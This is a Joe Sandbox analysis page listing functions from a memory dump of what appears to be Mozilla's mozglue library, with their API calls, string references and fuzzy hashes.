Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: 97bd749d54ae357d7a0d0a450059da5a85ccea88d866bc8076b6fb5ef9bba84f
Instruction ID: 807b53790b466a6e3d1a538f743e2afc2070f282106db123c492f8b12e0ed2cc
Opcode Fuzzy Hash: 97bd749d54ae357d7a0d0a450059da5a85ccea88d866bc8076b6fb5ef9bba84f
Instruction Fuzzy Hash: EC41E5B9E112048FEB048F68D846B9EB7B5FF45314F11442DDA1AAB380FB39E605CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6BD06A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6BD2F618), ref: 6BD06A68
GetCurrentProcess.KERNEL32 ref: 6BD06A7D
GetCurrentProcess.KERNEL32 ref: 6BD06AA1
EnterCriticalSection.KERNEL32(6BD2F618), ref: 6BD06AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BD06AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BD06B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6BD06B65
LeaveCriticalSection.KERNEL32(6BD2F618,?,?), ref: 6BD06B83

Strings

SymInitialize, xrefs: 6BD06BA3

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: 748d6707e717273630364c926d9035fdf687178c97ee66151501f36068956a56
Instruction ID: a4747d1cfba7f2284b718cd6672402a2bf56f4ce804dab3348c1dc8cbfdbdd19
Opcode Fuzzy Hash: 748d6707e717273630364c926d9035fdf687178c97ee66151501f36068956a56
Instruction Fuzzy Hash: BA41A4706043849FEB10CF74C888B9A7BA8EF46714F0445BAEE498F282DBB5D544CB71

Uniqueness

Uniqueness Score: -1.00%

Function 6BCEDBB0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 207threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEDBE1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEDBE9

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BCEDC5D
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BCEDC7F

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

Part of subcall function 6BCE9A60: GetCurrentThreadId.KERNEL32 ref: 6BCE9A95
Part of subcall function 6BCE9A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCE9A9D
Part of subcall function 6BCE9A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BCE9ACC
Part of subcall function 6BCE9A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCE9BA7
Part of subcall function 6BCE9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BCE9BB8
Part of subcall function 6BCE9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BCE9BC9

Part of subcall function 6BCEE8B0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BCEDCF5), ref: 6BCEE92D

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEDD1B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEDD44
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEDD58

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Strings

[I %d/%d] locked_profiler_save_profile_to_file(%s), xrefs: 6BCEDBF2

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CurrentTimefreegetenv$ProcessStampThreadV01@@Value@mozilla@@_getpidmalloc$??1ios_base@std@@?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@___acrt_iob_func__stdio_common_vfprintfmoz_xmalloc
String ID: [I %d/%d] locked_profiler_save_profile_to_file(%s)
API String ID: 3378208378-1387374313
Opcode ID: d85474a6eabdf1996053621b5b3fae6731141a07debb89b210509ce98f1d2c33
Instruction ID: a1d7ecb20c1879fb5fac6fc84d2be5f946ffffa3ee52c99d98b30e90c71b7122
Opcode Fuzzy Hash: d85474a6eabdf1996053621b5b3fae6731141a07debb89b210509ce98f1d2c33
Instruction Fuzzy Hash: 4081C074610700CFDB24DF24C485A5AF7E5FF89318B00896DD95B8B781EB78EA0ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 6BCFAB90 Relevance: 13.6, APIs: 9, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCFABB4
AcquireSRWLockExclusive.KERNEL32(6BCB4A63), ref: 6BCFABC0
ReleaseSRWLockExclusive.KERNEL32 ref: 6BCFAC06
GetCurrentThreadId.KERNEL32 ref: 6BCFAC16
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFAC27
ReleaseSRWLockExclusive.KERNEL32 ref: 6BCFAC66
free.MOZGLUE(?), ref: 6BCFAD19
free.MOZGLUE(00000000), ref: 6BCFAD2B
?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6BCFAD38

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree$Xbad_function_call@std@@
String ID:
API String ID: 2167474191-0
Opcode ID: 4d10a9d7edf8614d123774321b662295a8988f164bd5407792245836f7f472b4
Instruction ID: 0eaa7ff197ab83674b3f853f51ba48e1c74571cba4e18f70988fc0a820f9cc7f
Opcode Fuzzy Hash: 4d10a9d7edf8614d123774321b662295a8988f164bd5407792245836f7f472b4
Instruction Fuzzy Hash: D6517574610B008FD720CF25C488756FBF9BF89314F204A6DE9AA87790EB75B945CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6BCFCB30 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000000,00000002,00000040,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCB52
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCB82
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCBA4
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCBC4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCBE9
std::_Facet_Register.LIBCPMT ref: 6BCFCBFB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCC20
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,6BCFBCAE,?,?,6BCEDC2C), ref: 6BCFCC65

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7cce2e9000740db45b6d9c06d0ef2378b70281a945315c3267563140b036a3f8
Instruction ID: 8659fcbd8a641e5dd1b6c06ad461cffbee925ab010474d5583f25697c0586bfc
Opcode Fuzzy Hash: 7cce2e9000740db45b6d9c06d0ef2378b70281a945315c3267563140b036a3f8
Instruction Fuzzy Hash: 9841B734B102048FDB00DF65C895AAEB7B9FF49354F0440A9DA0A9B391EB79ED46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6BCABAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6BCABC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6BCABD06

Strings

0, xrefs: 6BCABBCD
0, xrefs: 6BCABC74
y, xrefs: 6BCABC4E

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: da642787b5b1004f4bc41c45c1c1a52701dcfcc6ea1c97b5813e679227fcd8e6
Instruction ID: 373bdd4d1b3dc04576e5e119cb9e86ec498d932129dd09f3977e5c30097e435c
Opcode Fuzzy Hash: da642787b5b1004f4bc41c45c1c1a52701dcfcc6ea1c97b5813e679227fcd8e6
Instruction Fuzzy Hash: E961E471A2874A8FC700CF38D581A5BB7E5FF8A348F00466DF88997241EB38DA45C792

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB0A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0A72

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

moz_xmalloc.MOZGLUE(?,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0AF5
free.MOZGLUE(00000000,?,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0B9F
free.MOZGLUE(?,?,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0BDB
free.MOZGLUE(00000000,?,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6BD0B80C,00000000,?,?,6BCB003B,?), ref: 6BCB0C0A

Strings

alloc overflow, xrefs: 6BCB0C05

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: 0aea0b0c6585afd6c2dc1283cff4493c91226410ecf77e16afabdecb748160fb
Instruction ID: fbe932901288ebc522be81de7610acc9ffe5c565c781865c17f7bc0d1dcc196d
Opcode Fuzzy Hash: 0aea0b0c6585afd6c2dc1283cff4493c91226410ecf77e16afabdecb748160fb
Instruction Fuzzy Hash: 3D51B1B1A102068FDB24CF68C9C1BAEB3B6FF44308F14496DC85A9B201FB75E645CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6BD2008B), ref: 6BCA7B89
free.MOZGLUE(?,6BD2008B), ref: 6BCA7BAC

Part of subcall function 6BCA78C0: free.MOZGLUE(?,6BD2008B), ref: 6BCA7BCF

free.MOZGLUE(?,6BD2008B), ref: 6BCA7BF2

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 40f21169a0f8103bd5b8f916fff34537eebf3a78f90758d5f803061c7e175c5f
Instruction ID: d9926dad61b1a14fa65c441aab2cf2f9a98f11cc9195ef4d81e8f7f79b57384b
Opcode Fuzzy Hash: 40f21169a0f8103bd5b8f916fff34537eebf3a78f90758d5f803061c7e175c5f
Instruction Fuzzy Hash: 41C1D271E1112A8BEB248B68CC90BDDB732BF41314F1002EAD51AAB3C5E7399F859F51

Uniqueness

Uniqueness Score: -1.00%

Function 6BCF1220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCF124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCF1268
GetCurrentThreadId.KERNEL32 ref: 6BCF12DA
InitializeConditionVariable.KERNEL32(?), ref: 6BCF134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6BCF138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6BCF1431

Part of subcall function 6BCE8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BD01563), ref: 6BCE8BD5

free.MOZGLUE(?), ref: 6BCF145A
free.MOZGLUE(?), ref: 6BCF146C

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 8d224fa2a638564eac27da14242877a28594dccd23198ed8ec7c4d3217f0794f
Instruction ID: 31b774725cd6e411221f75ded724198b19ed9ceef8b79a3c1fb8a5105c7aa443
Opcode Fuzzy Hash: 8d224fa2a638564eac27da14242877a28594dccd23198ed8ec7c4d3217f0794f
Instruction Fuzzy Hash: 1C61E2B59143409FDB10CF38C880B9AB7F9BFC5308F00899DE9894B211EB79E646CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA4B50 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6BCA4667,?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4C63
free.MOZGLUE(?,?,?,6BCA4667,?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4C89
free.MOZGLUE(?,?,?,6BCA4667,?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4CAC
free.MOZGLUE(?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4CCF
free.MOZGLUE(?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4CF2
free.MOZGLUE(?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4D15
free.MOZGLUE(?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4D38
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6BCA4667,?,?,?,?,?,?,?,?,6BCE4843,?), ref: 6BCA4DD1

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1497960986-0
Opcode ID: 9dc277bc14ba59e1bbebdb673eca57c0ca6d1335e93fa194cb573e9b9a35fb48
Instruction ID: 113ed370d0b397c6f6cb18779ac7ca0a366539c0ebc17e2fafab28b270cad5c2
Opcode Fuzzy Hash: 9dc277bc14ba59e1bbebdb673eca57c0ca6d1335e93fa194cb573e9b9a35fb48
Instruction Fuzzy Hash: 1751A671925A418FE3248B7DD9A475677A2BF01728F400A1CE1ABCBBD1FB39A6448702

Uniqueness

Uniqueness Score: -1.00%

Function 6BCAE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6BCB1999), ref: 6BCAEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6BCAEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6BCAEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6BCB1999), ref: 6BCAEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6BCB1999), ref: 6BCAEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6BCAEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6BCAEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6BCAEB27

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 361d54ea1bf33ed41a2808a92c3d29e5ddda016a7897c8b67ecb938eaf38d72d
Instruction ID: a6ff8253b3c11a0ee7a5da10d311b874619646577bfabced9f16723ff1305d00
Opcode Fuzzy Hash: 361d54ea1bf33ed41a2808a92c3d29e5ddda016a7897c8b67ecb938eaf38d72d
Instruction Fuzzy Hash: 59418FB1A10216DFDB14CFA8DC81AAE7BA4BF45364F240628E815EB294F734DA0487E1

Uniqueness

Uniqueness Score: -1.00%

Function 6BCFD310 Relevance: 12.1, APIs: 8, Instructions: 132threadtimeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCFD36B
GetCurrentThreadId.KERNEL32 ref: 6BCFD38A
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD39D
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD3E1
free.MOZGLUE ref: 6BCFD408

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

GetCurrentThreadId.KERNEL32 ref: 6BCFD44B
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD457
ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 6BCFD472

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLock$Current$AcquireProcessReleaseThread$StampTerminateTimeV01@@Value@mozilla@@free
String ID:
API String ID: 3843575911-0
Opcode ID: c3c0c4d53be4999beba742507e8cc779fd25dcdd053559f7fc73b6870dd9aa0d
Instruction ID: 4fca6524598060281ec2219ff95b5e790fca1aadff4033cbd855ea6e2ca1857d
Opcode Fuzzy Hash: c3c0c4d53be4999beba742507e8cc779fd25dcdd053559f7fc73b6870dd9aa0d
Instruction Fuzzy Hash: D941EC759103058FDB04DF64C484A9BFBB9FF85314F10496EEAA28B340EB79EA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE4AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4B48
free.MOZGLUE(?,?,?,80000000,?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6BCE4AB7,?,6BCA43CF,?,6BCA42D2), ref: 6BCE4BEE

Strings

pid:, xrefs: 6BCE4BE8

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: 7d2a52fff9f38878b04a2b1e275eb0af8cfba1c76c66823f85f732b7d3ee08c2
Instruction ID: 91b624c7c84253090d0caad94f55f794bc79a82ebdcae8e160b96bfd3ed63f30
